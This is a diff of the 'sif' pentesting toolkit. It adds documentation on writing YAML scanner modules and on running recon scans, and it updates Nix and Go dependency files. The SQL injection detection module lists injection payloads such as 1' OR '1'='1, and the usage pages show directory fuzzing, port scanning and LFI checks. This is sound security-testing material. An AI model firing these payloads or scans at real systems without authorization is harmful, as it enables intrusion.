|
||||
### word matcher
|
||||
|
||||
match words in response.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "admin"
|
||||
- "login"
|
||||
condition: or
|
||||
```
|
||||
|
||||
**parts:**
|
||||
- `body` - response body
|
||||
- `header` - response headers
|
||||
|
||||
**conditions:**
|
||||
- `or` - match any word (default)
|
||||
- `and` - match all words
|
||||
|
||||
### regex matcher
|
||||
|
||||
match regex patterns.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: regex
|
||||
part: body
|
||||
regex:
|
||||
- "SQL syntax.*MySQL"
|
||||
- "ORA-[0-9]+"
|
||||
- "PostgreSQL.*ERROR"
|
||||
condition: or
|
||||
```
|
||||
|
||||
### combining matchers
|
||||
|
||||
multiple matchers are combined with AND logic by default.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "ref: refs/"
|
||||
condition: or
|
||||
```
|
||||
|
||||
this matches responses with status 200 AND containing "ref: refs/".
|
||||
|
||||
## extractors
|
||||
|
||||
extractors pull data from responses.
|
||||
|
||||
### regex extractor
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: regex
|
||||
name: version
|
||||
part: body
|
||||
regex:
|
||||
- "version[\"']?\\s*[:=]\\s*[\"']?([0-9.]+)"
|
||||
group: 1
|
||||
```
|
||||
|
||||
**group**: capture group to extract (0 = full match, 1+ = groups)
|
||||
|
||||
### kv extractor
|
||||
|
||||
extract key-value pairs.
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: kv
|
||||
name: headers
|
||||
part: header
|
||||
```
|
||||
|
||||
## examples
|
||||
|
||||
### exposed git repository
|
||||
|
||||
```yaml
|
||||
id: git-exposed
|
||||
info:
|
||||
name: exposed git repository
|
||||
author: sif
|
||||
severity: high
|
||||
description: detects exposed .git directories
|
||||
tags: [git, exposure, source-code]
|
||||
|
||||
type: http
|
||||
|
||||
http:
|
||||
method: GET
|
||||
paths:
|
||||
- "{{BaseURL}}/.git/HEAD"
|
||||
- "{{BaseURL}}/.git/config"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "ref: refs/"
|
||||
- "[core]"
|
||||
condition: or
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: branch
|
||||
part: body
|
||||
regex:
|
||||
- "ref: refs/heads/(.+)"
|
||||
group: 1
|
||||
```
|
||||
|
||||
### sql injection detection
|
||||
|
||||
```yaml
|
||||
id: sqli-error-based
|
||||
info:
|
||||
name: sql injection (error-based)
|
||||
author: sif
|
||||
severity: high
|
||||
description: detects sql injection via database errors
|
||||
tags: [sqli, injection, database]
|
||||
|
||||
type: http
|
||||
|
||||
http:
|
||||
method: GET
|
||||
paths:
|
||||
- "{{BaseURL}}/?id={{payload}}"
|
||||
- "{{BaseURL}}/search?q={{payload}}"
|
||||
|
||||
payloads:
|
||||
- "'"
|
||||
- "1' OR '1'='1"
|
||||
- "1; SELECT * FROM--"
|
||||
|
||||
threads: 10
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
part: body
|
||||
regex:
|
||||
- "SQL syntax.*MySQL"
|
||||
- "ORA-[0-9]+"
|
||||
- "PostgreSQL.*ERROR"
|
||||
- "Microsoft SQL Server"
|
||||
condition: or
|
||||
```
|
||||
|
||||
### security headers check
|
||||
|
||||
```yaml
|
||||
id: security-headers
|
||||
info:
|
||||
name: security headers analysis
|
||||
author: sif
|
||||
severity: info
|
||||
description: checks for missing security headers
|
||||
tags: [headers, security, info]
|
||||
|
||||
type: http
|
||||
|
||||
http:
|
||||
method: GET
|
||||
paths:
|
||||
- "{{BaseURL}}/"
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
extractors:
|
||||
- type: kv
|
||||
name: headers
|
||||
part: header
|
||||
```
|
||||
|
||||
## tips
|
||||
|
||||
1. **use specific paths** - don't just check `/`, be specific about what you're looking for
|
||||
|
||||
2. **combine matchers** - use status + content matchers together to reduce false positives
|
||||
|
||||
3. **limit payloads** - too many payloads slow down scans, pick the most effective ones
|
||||
|
||||
4. **tag properly** - use consistent tags so modules can be filtered with `-mt`
|
||||
|
||||
5. **test locally** - run your module against a test target before sharing
|
||||
|
||||
## running modules
|
||||
|
||||
```bash
|
||||
# list all modules
|
||||
./sif -lm
|
||||
|
||||
# run specific module
|
||||
./sif -u https://example.com -m git-exposed
|
||||
|
||||
# run multiple modules
|
||||
./sif -u https://example.com -m git-exposed,sqli-error-based
|
||||
|
||||
# run by tag
|
||||
./sif -u https://example.com -mt owasp-top10
|
||||
|
||||
# run all modules
|
||||
./sif -u https://example.com -am
|
||||
```
|
||||
@@ -0,0 +1,102 @@
|
||||
# quickstart
|
||||
|
||||
get up and running with sif in minutes.
|
||||
|
||||
## basic scan
|
||||
|
||||
run a basic scan against a target:
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com
|
||||
```
|
||||
|
||||
this performs a base scan checking robots.txt, common files, and basic reconnaissance.
|
||||
|
||||
## add more scans
|
||||
|
||||
enable additional scan types with flags:
|
||||
|
||||
```bash
|
||||
# directory fuzzing
|
||||
./sif -u https://example.com -dirlist medium
|
||||
|
||||
# subdomain enumeration
|
||||
./sif -u https://example.com -dnslist small
|
||||
|
||||
# port scanning
|
||||
./sif -u https://example.com -ports common
|
||||
|
||||
# framework detection
|
||||
./sif -u https://example.com -framework
|
||||
```
|
||||
|
||||
## run modules
|
||||
|
||||
sif has a modular architecture with yaml-based security checks:
|
||||
|
||||
```bash
|
||||
# list available modules
|
||||
./sif -lm
|
||||
|
||||
# run all modules
|
||||
./sif -u https://example.com -am
|
||||
|
||||
# run specific modules
|
||||
./sif -u https://example.com -m sqli-error-based,xss-reflected
|
||||
|
||||
# run by tag
|
||||
./sif -u https://example.com -mt owasp-top10
|
||||
```
|
||||
|
||||
## multiple targets
|
||||
|
||||
scan multiple urls:
|
||||
|
||||
```bash
|
||||
./sif -u https://site1.com,https://site2.com
|
||||
```
|
||||
|
||||
or from a file:
|
||||
|
||||
```bash
|
||||
./sif -f targets.txt
|
||||
```
|
||||
|
||||
## save output
|
||||
|
||||
save results to a log directory:
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -l ./logs
|
||||
```
|
||||
|
||||
## json output
|
||||
|
||||
for automation, use api mode:
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -api
|
||||
```
|
||||
|
||||
## full scan example
|
||||
|
||||
run everything:
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com \
|
||||
-dirlist medium \
|
||||
-dnslist small \
|
||||
-ports common \
|
||||
-framework \
|
||||
-js \
|
||||
-headers \
|
||||
-git \
|
||||
-am \
|
||||
-l ./logs
|
||||
```
|
||||
|
||||
## next steps
|
||||
|
||||
- [usage](usage.md) - all command line options
|
||||
- [scans](scans.md) - detailed scan descriptions
|
||||
- [modules](modules.md) - write custom modules
|
||||
+228
@@ -0,0 +1,228 @@
|
||||
# scans
|
||||
|
||||
detailed information about sif's built-in security scans.
|
||||
|
||||
## base scan
|
||||
|
||||
runs automatically unless `-noscan` is specified.
|
||||
|
||||
checks:
|
||||
- robots.txt parsing
|
||||
- common files (sitemap.xml, security.txt, etc)
|
||||
- basic reconnaissance
|
||||
|
||||
## directory fuzzing (-dirlist)
|
||||
|
||||
brute-forces directories and files using wordlists.
|
||||
|
||||
### sizes
|
||||
|
||||
| size | entries | use case |
|
||||
|------|---------|----------|
|
||||
| small | ~1k | quick scan, low noise |
|
||||
| medium | ~10k | balanced coverage |
|
||||
| large | ~100k | thorough, takes longer |
|
||||
|
||||
### what it finds
|
||||
|
||||
- hidden directories (/admin, /backup, /config)
|
||||
- backup files (.bak, .old, .zip)
|
||||
- configuration files
|
||||
- development artifacts
|
||||
|
||||
## subdomain enumeration (-dnslist)
|
||||
|
||||
discovers subdomains via dns brute-forcing.
|
||||
|
||||
### sizes
|
||||
|
||||
| size | entries | use case |
|
||||
|------|---------|----------|
|
||||
| small | ~1k | quick discovery |
|
||||
| medium | ~10k | common subdomains |
|
||||
| large | ~100k | comprehensive |
|
||||
|
||||
### what it finds
|
||||
|
||||
- dev/staging environments
|
||||
- internal services
|
||||
- forgotten subdomains
|
||||
- api endpoints
|
||||
|
||||
## port scanning (-ports)
|
||||
|
||||
scans for open ports and identifies services.
|
||||
|
||||
### scopes
|
||||
|
||||
| scope | ports | description |
|
||||
|-------|-------|-------------|
|
||||
| common | top 1000 | most common services |
|
||||
| full | 1-65535 | all ports, slow |
|
||||
|
||||
### what it finds
|
||||
|
||||
- web servers (80, 443, 8080)
|
||||
- databases (3306, 5432, 27017)
|
||||
- admin interfaces (8443, 9090)
|
||||
- development servers
|
||||
|
||||
## framework detection (-framework)
|
||||
|
||||
identifies web frameworks and their versions.
|
||||
|
||||
### detects
|
||||
|
||||
- react, vue, angular, next.js
|
||||
- django, flask, rails
|
||||
- laravel, symfony, express
|
||||
- wordpress, drupal, joomla
|
||||
|
||||
### features
|
||||
|
||||
- version detection
|
||||
- cve lookup for known vulnerabilities
|
||||
- confidence scoring
|
||||
|
||||
## javascript analysis (-js)
|
||||
|
||||
analyzes javascript files for security issues.
|
||||
|
||||
### finds
|
||||
|
||||
- api endpoints and keys
|
||||
- hardcoded credentials
|
||||
- internal urls
|
||||
- framework configurations
|
||||
- source maps
|
||||
|
||||
## http headers (-headers)
|
||||
|
||||
analyzes security headers.
|
||||
|
||||
### checks
|
||||
|
||||
- content-security-policy
|
||||
- x-frame-options
|
||||
- x-content-type-options
|
||||
- strict-transport-security
|
||||
- x-xss-protection
|
||||
- permissions-policy
|
||||
|
||||
## cms detection (-cms)
|
||||
|
||||
identifies content management systems.
|
||||
|
||||
### detects
|
||||
|
||||
- wordpress (with version)
|
||||
- drupal
|
||||
- joomla
|
||||
- magento
|
||||
- shopify
|
||||
- ghost
|
||||
|
||||
## git repository (-git)
|
||||
|
||||
checks for exposed git repositories.
|
||||
|
||||
### finds
|
||||
|
||||
- .git/HEAD
|
||||
- .git/config
|
||||
- .git/index
|
||||
- source code exposure risk
|
||||
|
||||
## cloud storage (-c3)
|
||||
|
||||
checks for cloud storage misconfigurations.
|
||||
|
||||
### checks
|
||||
|
||||
- s3 bucket access
|
||||
- azure blob storage
|
||||
- gcp storage buckets
|
||||
- open bucket policies
|
||||
|
||||
## subdomain takeover (-st)
|
||||
|
||||
detects subdomain takeover vulnerabilities.
|
||||
|
||||
requires `-dnslist` to enumerate subdomains first.
|
||||
|
||||
### checks
|
||||
|
||||
- dangling cname records
|
||||
- unclaimed cloud services
|
||||
- expired third-party services
|
||||
|
||||
## shodan lookup (-shodan)
|
||||
|
||||
queries shodan for host intelligence.
|
||||
|
||||
requires `SHODAN_API_KEY` environment variable.
|
||||
|
||||
### returns
|
||||
|
||||
- open ports
|
||||
- services and versions
|
||||
- known vulnerabilities
|
||||
- ssl/tls info
|
||||
- organization data
|
||||
|
||||
## sql reconnaissance (-sql)
|
||||
|
||||
detects sql-related exposures.
|
||||
|
||||
### finds
|
||||
|
||||
- admin panels (/phpmyadmin, /adminer)
|
||||
- database error messages
|
||||
- sql injection indicators
|
||||
|
||||
## lfi scanning (-lfi)
|
||||
|
||||
checks for local file inclusion vulnerabilities.
|
||||
|
||||
### tests
|
||||
|
||||
- path traversal (../)
|
||||
- null byte injection
|
||||
- common lfi payloads
|
||||
- sensitive file disclosure
|
||||
|
||||
## whois lookup (-whois)
|
||||
|
||||
performs whois lookups on target domains.
|
||||
|
||||
### returns
|
||||
|
||||
- registrar info
|
||||
- creation/expiration dates
|
||||
- nameservers
|
||||
- registrant info (if available)
|
||||
|
||||
## google dorking (-dork)
|
||||
|
||||
automated google dorking for target.
|
||||
|
||||
### searches
|
||||
|
||||
- indexed sensitive files
|
||||
- exposed admin panels
|
||||
- configuration files
|
||||
- backup files
|
||||
- error pages
|
||||
|
||||
## nuclei scanning (-nuclei)
|
||||
|
||||
runs nuclei vulnerability templates.
|
||||
|
||||
requires nuclei to be installed.
|
||||
|
||||
### templates
|
||||
|
||||
- cve detection
|
||||
- misconfigurations
|
||||
- exposures
|
||||
- default credentials
|
||||
+293
@@ -0,0 +1,293 @@
|
||||
# usage
|
||||
|
||||
complete guide to sif command line options.
|
||||
|
||||
## target options
|
||||
|
||||
### -u, --urls
|
||||
|
||||
specify target urls (comma-separated):
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com
|
||||
./sif -u https://site1.com,https://site2.com
|
||||
```
|
||||
|
||||
### -f, --file
|
||||
|
||||
read targets from a file (one url per line):
|
||||
|
||||
```bash
|
||||
./sif -f targets.txt
|
||||
```
|
||||
|
||||
## scan options
|
||||
|
||||
### directory fuzzing
|
||||
|
||||
`-dirlist <size>` - fuzz for directories and files
|
||||
|
||||
sizes: `small`, `medium`, `large`
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -dirlist medium
|
||||
```
|
||||
|
||||
### subdomain enumeration
|
||||
|
||||
`-dnslist <size>` - enumerate subdomains
|
||||
|
||||
sizes: `small`, `medium`, `large`
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -dnslist small
|
||||
```
|
||||
|
||||
### port scanning
|
||||
|
||||
`-ports <scope>` - scan for open ports
|
||||
|
||||
scopes: `common` (top ports), `full` (all ports)
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -ports common
|
||||
```
|
||||
|
||||
### google dorking
|
||||
|
||||
`-dork` - automated google dorking
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -dork
|
||||
```
|
||||
|
||||
### git repository detection
|
||||
|
||||
`-git` - check for exposed git repositories
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -git
|
||||
```
|
||||
|
||||
### nuclei scanning
|
||||
|
||||
`-nuclei` - run nuclei vulnerability templates
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -nuclei
|
||||
```
|
||||
|
||||
### javascript analysis
|
||||
|
||||
`-js` - analyze javascript files
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -js
|
||||
```
|
||||
|
||||
### cms detection
|
||||
|
||||
`-cms` - detect content management systems
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -cms
|
||||
```
|
||||
|
||||
### http headers
|
||||
|
||||
`-headers` - analyze security headers
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -headers
|
||||
```
|
||||
|
||||
### cloud storage
|
||||
|
||||
`-c3` - check for cloud storage misconfigurations
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -c3
|
||||
```
|
||||
|
||||
### subdomain takeover
|
||||
|
||||
`-st` - check for subdomain takeover vulnerabilities
|
||||
|
||||
requires `-dnslist` to be enabled
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -dnslist small -st
|
||||
```
|
||||
|
||||
### shodan lookup
|
||||
|
||||
`-shodan` - query shodan for host intelligence
|
||||
|
||||
requires `SHODAN_API_KEY` environment variable
|
||||
|
||||
```bash
|
||||
export SHODAN_API_KEY=your-api-key
|
||||
./sif -u https://example.com -shodan
|
||||
```
|
||||
|
||||
### sql reconnaissance
|
||||
|
||||
`-sql` - detect sql admin panels and error disclosure
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -sql
|
||||
```
|
||||
|
||||
### lfi scanning
|
||||
|
||||
`-lfi` - local file inclusion vulnerability checks
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -lfi
|
||||
```
|
||||
|
||||
### framework detection
|
||||
|
||||
`-framework` - detect web frameworks with version and cve lookup
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -framework
|
||||
```
|
||||
|
||||
### whois lookup
|
||||
|
||||
`-whois` - perform whois lookups
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -whois
|
||||
```
|
||||
|
||||
### skip base scan
|
||||
|
||||
`-noscan` - skip the base url scan (robots.txt, etc)
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -noscan -dirlist medium
|
||||
```
|
||||
|
||||
## module options
|
||||
|
||||
### -lm, --list-modules
|
||||
|
||||
list all available modules:
|
||||
|
||||
```bash
|
||||
./sif -lm
|
||||
```
|
||||
|
||||
### -m, --modules
|
||||
|
||||
run specific modules by id (comma-separated):
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -m sqli-error-based,xss-reflected
|
||||
```
|
||||
|
||||
### -mt, --module-tags
|
||||
|
||||
run modules matching tags:
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -mt owasp-top10
|
||||
./sif -u https://example.com -mt injection
|
||||
```
|
||||
|
||||
### -am, --all-modules
|
||||
|
||||
run all available modules:
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -am
|
||||
```
|
||||
|
||||
## runtime options
|
||||
|
||||
### -t, --timeout
|
||||
|
||||
http request timeout (default: 10s):
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -t 30s
|
||||
```
|
||||
|
||||
### --threads
|
||||
|
||||
number of concurrent threads (default: 10):
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com --threads 20
|
||||
```
|
||||
|
||||
### -l, --log
|
||||
|
||||
directory to save log files:
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -l ./logs
|
||||
```
|
||||
|
||||
### -d, --debug
|
||||
|
||||
enable debug logging:
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -d
|
||||
```
|
||||
|
||||
## api options
|
||||
|
||||
### -api
|
||||
|
||||
enable api mode for json output:
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -api
|
||||
```
|
||||
|
||||
output is a json object with scan results.
|
||||
|
||||
## examples
|
||||
|
||||
### quick recon
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -framework -headers -git
|
||||
```
|
||||
|
||||
### full scan
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com \
|
||||
-dirlist large \
|
||||
-dnslist medium \
|
||||
-ports full \
|
||||
-framework \
|
||||
-js \
|
||||
-headers \
|
||||
-cms \
|
||||
-git \
|
||||
-sql \
|
||||
-lfi \
|
||||
-am
|
||||
```
|
||||
|
||||
### ci/cd pipeline
|
||||
|
||||
```bash
|
||||
./sif -u https://staging.example.com -api -am > results.json
|
||||
```
|
||||
|
||||
### batch scanning
|
||||
|
||||
```bash
|
||||
echo "https://site1.com
|
||||
https://site2.com
|
||||
https://site3.com" > targets.txt
|
||||
|
||||
./sif -f targets.txt -am -l ./logs
|
||||
```
|
||||
Generated
+4
-62
@@ -1,35 +1,12 @@
|
||||
{
|
||||
"nodes": {
|
||||
"gomod2nix": {
|
||||
"inputs": {
|
||||
"nixpkgs": [
|
||||
"nixpkgs"
|
||||
],
|
||||
"utils": [
|
||||
"utils"
|
||||
]
|
||||
},
|
||||
"locked": {
|
||||
"lastModified": 1677459247,
|
||||
"narHash": "sha256-JbakfAiPYmCCV224yAMq/XO0udN5coWv/oazblMKdoY=",
|
||||
"owner": "tweag",
|
||||
"repo": "gomod2nix",
|
||||
"rev": "3cbf3a51fe32e2f57af4c52744e7228bab22983d",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "tweag",
|
||||
"repo": "gomod2nix",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs": {
|
||||
"locked": {
|
||||
"lastModified": 1693844670,
|
||||
"narHash": "sha256-t69F2nBB8DNQUWHD809oJZJVE+23XBrth4QZuVd6IE0=",
|
||||
"lastModified": 1767364772,
|
||||
"narHash": "sha256-fFUnEYMla8b7UKjijLnMe+oVFOz6HjijGGNS1l7dYaQ=",
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "3c15feef7770eb5500a4b8792623e2d6f598c9c1",
|
||||
"rev": "16c7794d0a28b5a37904d55bcca36003b9109aaa",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
@@ -41,42 +18,7 @@
|
||||
},
|
||||
"root": {
|
||||
"inputs": {
|
||||
"gomod2nix": "gomod2nix",
|
||||
"nixpkgs": "nixpkgs",
|
||||
"utils": "utils"
|
||||
}
|
||||
},
|
||||
"systems": {
|
||||
"locked": {
|
||||
"lastModified": 1681028828,
|
||||
"narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=",
|
||||
"owner": "nix-systems",
|
||||
"repo": "default",
|
||||
"rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "nix-systems",
|
||||
"repo": "default",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"utils": {
|
||||
"inputs": {
|
||||
"systems": "systems"
|
||||
},
|
||||
"locked": {
|
||||
"lastModified": 1692799911,
|
||||
"narHash": "sha256-3eihraek4qL744EvQXsK1Ha6C3CR7nnT8X2qWap4RNk=",
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"rev": "f9e7cf818399d17d347f847525c5a5a8032e4e44",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"type": "github"
|
||||
"nixpkgs": "nixpkgs"
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
@@ -1,36 +1,57 @@
|
||||
{
|
||||
description = "a blazing-fast pentesting (recon/exploitation) suite";
|
||||
description = "A blazing-fast pentesting (recon/exploitation) suite";
|
||||
|
||||
inputs = {
|
||||
nixpkgs.url = "github:NixOS/nixpkgs/nixpkgs-unstable";
|
||||
utils.url = "github:numtide/flake-utils";
|
||||
|
||||
gomod2nix = {
|
||||
url = "github:tweag/gomod2nix";
|
||||
inputs.nixpkgs.follows = "nixpkgs";
|
||||
inputs.utils.follows = "utils";
|
||||
};
|
||||
};
|
||||
|
||||
outputs = { self, nixpkgs, utils, gomod2nix }:
|
||||
utils.lib.eachDefaultSystem (system:
|
||||
let pkgs = import nixpkgs {
|
||||
inherit system;
|
||||
overlays = [ gomod2nix.overlays.default ];
|
||||
outputs = { self, nixpkgs }:
|
||||
let
|
||||
systems = [ "x86_64-linux" "aarch64-linux" "x86_64-darwin" "aarch64-darwin" ];
|
||||
forAllSystems = f: nixpkgs.lib.genAttrs systems (system: f system);
|
||||
in
|
||||
{
|
||||
packages = forAllSystems (system:
|
||||
let
|
||||
pkgs = nixpkgs.legacyPackages.${system};
|
||||
in
|
||||
{
|
||||
default = pkgs.buildGoModule {
|
||||
pname = "sif";
|
||||
version = "unstable-${self.shortRev or self.dirtyShortRev or "dev"}";
|
||||
src = ./.;
|
||||
|
||||
vendorHash = "sha256-ztKXnOjZS/jMxsRjtF0rIZ3lKv4YjMdZd6oQFRuAtR4=";
|
||||
|
||||
# Tests require network access (httptest)
|
||||
doCheck = false;
|
||||
|
||||
ldflags = [ "-s" "-w" ];
|
||||
|
||||
meta = with pkgs.lib; {
|
||||
description = "Modular pentesting toolkit written in Go";
|
||||
homepage = "https://github.com/vmfunc/sif";
|
||||
license = licenses.bsd3;
|
||||
mainProgram = "sif";
|
||||
maintainers = [ ];
|
||||
};
|
||||
};
|
||||
|
||||
sif = self.packages.${system}.default;
|
||||
});
|
||||
|
||||
overlays.default = final: prev: {
|
||||
sif = self.packages.${final.system}.default;
|
||||
};
|
||||
in
|
||||
{
|
||||
packages.default = pkgs.buildGoApplication {
|
||||
pname = "sif";
|
||||
version = "0.1.0";
|
||||
src = ./.;
|
||||
modules = ./gomod2nix.toml;
|
||||
};
|
||||
devShells.default = pkgs.mkShell {
|
||||
buildInputs = with pkgs; [
|
||||
go
|
||||
gomod2nix.packages.${system}.default
|
||||
];
|
||||
};
|
||||
});
|
||||
|
||||
devShells = forAllSystems (system:
|
||||
let
|
||||
pkgs = nixpkgs.legacyPackages.${system};
|
||||
in
|
||||
{
|
||||
default = pkgs.mkShell {
|
||||
buildInputs = with pkgs; [ go gopls ];
|
||||
};
|
||||
});
|
||||
};
|
||||
}
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
module github.com/dropalldatabases/sif
|
||||
|
||||
go 1.23
|
||||
|
||||
toolchain go1.25.5
|
||||
go 1.24.0
|
||||
|
||||
require (
|
||||
github.com/antchfx/htmlquery v1.3.0
|
||||
@@ -14,6 +12,7 @@ require (
|
||||
github.com/projectdiscovery/ratelimit v0.0.9
|
||||
github.com/projectdiscovery/utils v0.1.1
|
||||
github.com/rocketlaunchr/google-search v1.1.6
|
||||
gopkg.in/yaml.v3 v3.0.1
|
||||
)
|
||||
|
||||
require (
|
||||
@@ -55,7 +54,6 @@ require (
|
||||
github.com/charmbracelet/glamour v0.6.0 // indirect
|
||||
github.com/cheggaaa/pb/v3 v3.1.4 // indirect
|
||||
github.com/cloudflare/cfssl v1.6.4 // indirect
|
||||
github.com/cloudflare/circl v1.3.7 // indirect
|
||||
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 // indirect
|
||||
github.com/corpix/uarand v0.2.0 // indirect
|
||||
github.com/dimchansky/utfbom v1.1.1 // indirect
|
||||
@@ -65,7 +63,6 @@ require (
|
||||
github.com/fatih/color v1.16.0 // indirect
|
||||
github.com/fatih/structs v1.1.0 // indirect
|
||||
github.com/gabriel-vasile/mimetype v1.4.2 // indirect
|
||||
github.com/gaukas/godicttls v0.0.4 // indirect
|
||||
github.com/go-logfmt/logfmt v0.6.0 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-playground/locales v0.14.1 // indirect
|
||||
@@ -78,7 +75,7 @@ require (
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.2.1 // indirect
|
||||
github.com/gocolly/colly/v2 v2.1.0 // indirect
|
||||
github.com/golang-jwt/jwt/v4 v4.5.1 // indirect
|
||||
github.com/golang-jwt/jwt/v4 v4.5.2 // indirect
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
|
||||
github.com/golang/protobuf v1.5.3 // indirect
|
||||
github.com/golang/snappy v0.0.4 // indirect
|
||||
@@ -102,7 +99,7 @@ require (
|
||||
github.com/julienschmidt/httprouter v1.3.0 // indirect
|
||||
github.com/kataras/jwt v0.1.8 // indirect
|
||||
github.com/kennygrant/sanitize v1.2.4 // indirect
|
||||
github.com/klauspost/compress v1.16.7 // indirect
|
||||
github.com/klauspost/compress v1.17.4 // indirect
|
||||
github.com/klauspost/cpuid/v2 v2.2.5 // indirect
|
||||
github.com/klauspost/pgzip v1.2.5 // indirect
|
||||
github.com/leodido/go-urn v1.2.4 // indirect
|
||||
@@ -156,10 +153,10 @@ require (
|
||||
github.com/projectdiscovery/sarif v0.0.1 // indirect
|
||||
github.com/projectdiscovery/tlsx v1.1.4 // indirect
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.4 // indirect
|
||||
github.com/quic-go/quic-go v0.48.2 // indirect
|
||||
github.com/refraction-networking/utls v1.5.4 // indirect
|
||||
github.com/refraction-networking/utls v1.8.1 // indirect
|
||||
github.com/remeh/sizedwaitgroup v1.0.0 // indirect
|
||||
github.com/rivo/uniseg v0.4.4 // indirect
|
||||
github.com/rogpeppe/go-internal v1.10.0 // indirect
|
||||
github.com/rs/xid v1.5.0 // indirect
|
||||
github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d // indirect
|
||||
github.com/sashabaranov/go-openai v1.14.2 // indirect
|
||||
@@ -168,6 +165,7 @@ require (
|
||||
github.com/shoenig/go-m1cpu v0.1.6 // indirect
|
||||
github.com/spaolacci/murmur3 v1.1.0 // indirect
|
||||
github.com/spf13/cast v1.5.1 // indirect
|
||||
github.com/stretchr/testify v1.11.1 // indirect
|
||||
github.com/syndtr/goleveldb v1.0.0 // indirect
|
||||
github.com/temoto/robotstxt v1.1.2 // indirect
|
||||
github.com/tidwall/btree v1.6.0 // indirect
|
||||
@@ -181,7 +179,7 @@ require (
|
||||
github.com/tklauser/go-sysconf v0.3.12 // indirect
|
||||
github.com/tklauser/numcpus v0.6.1 // indirect
|
||||
github.com/trivago/tgo v1.0.7 // indirect
|
||||
github.com/ulikunitz/xz v0.5.11 // indirect
|
||||
github.com/ulikunitz/xz v0.5.15 // indirect
|
||||
github.com/valyala/bytebufferpool v1.0.0 // indirect
|
||||
github.com/valyala/fasttemplate v1.2.2 // indirect
|
||||
github.com/weppos/publicsuffix-go v0.30.1-0.20230422193905-8fecedd899db // indirect
|
||||
@@ -204,23 +202,22 @@ require (
|
||||
go.uber.org/multierr v1.11.0 // indirect
|
||||
go.uber.org/zap v1.25.0 // indirect
|
||||
goftp.io/server/v2 v2.0.1 // indirect
|
||||
golang.org/x/crypto v0.26.0 // indirect
|
||||
golang.org/x/crypto v0.46.0 // indirect
|
||||
golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842 // indirect
|
||||
golang.org/x/mod v0.17.0 // indirect
|
||||
golang.org/x/net v0.28.0 // indirect
|
||||
golang.org/x/oauth2 v0.11.0 // indirect
|
||||
golang.org/x/sync v0.8.0 // indirect
|
||||
golang.org/x/sys v0.23.0 // indirect
|
||||
golang.org/x/term v0.23.0 // indirect
|
||||
golang.org/x/text v0.17.0 // indirect
|
||||
golang.org/x/mod v0.30.0 // indirect
|
||||
golang.org/x/net v0.48.0 // indirect
|
||||
golang.org/x/oauth2 v0.34.0 // indirect
|
||||
golang.org/x/sync v0.19.0 // indirect
|
||||
golang.org/x/sys v0.39.0 // indirect
|
||||
golang.org/x/term v0.38.0 // indirect
|
||||
golang.org/x/text v0.32.0 // indirect
|
||||
golang.org/x/time v0.5.0 // indirect
|
||||
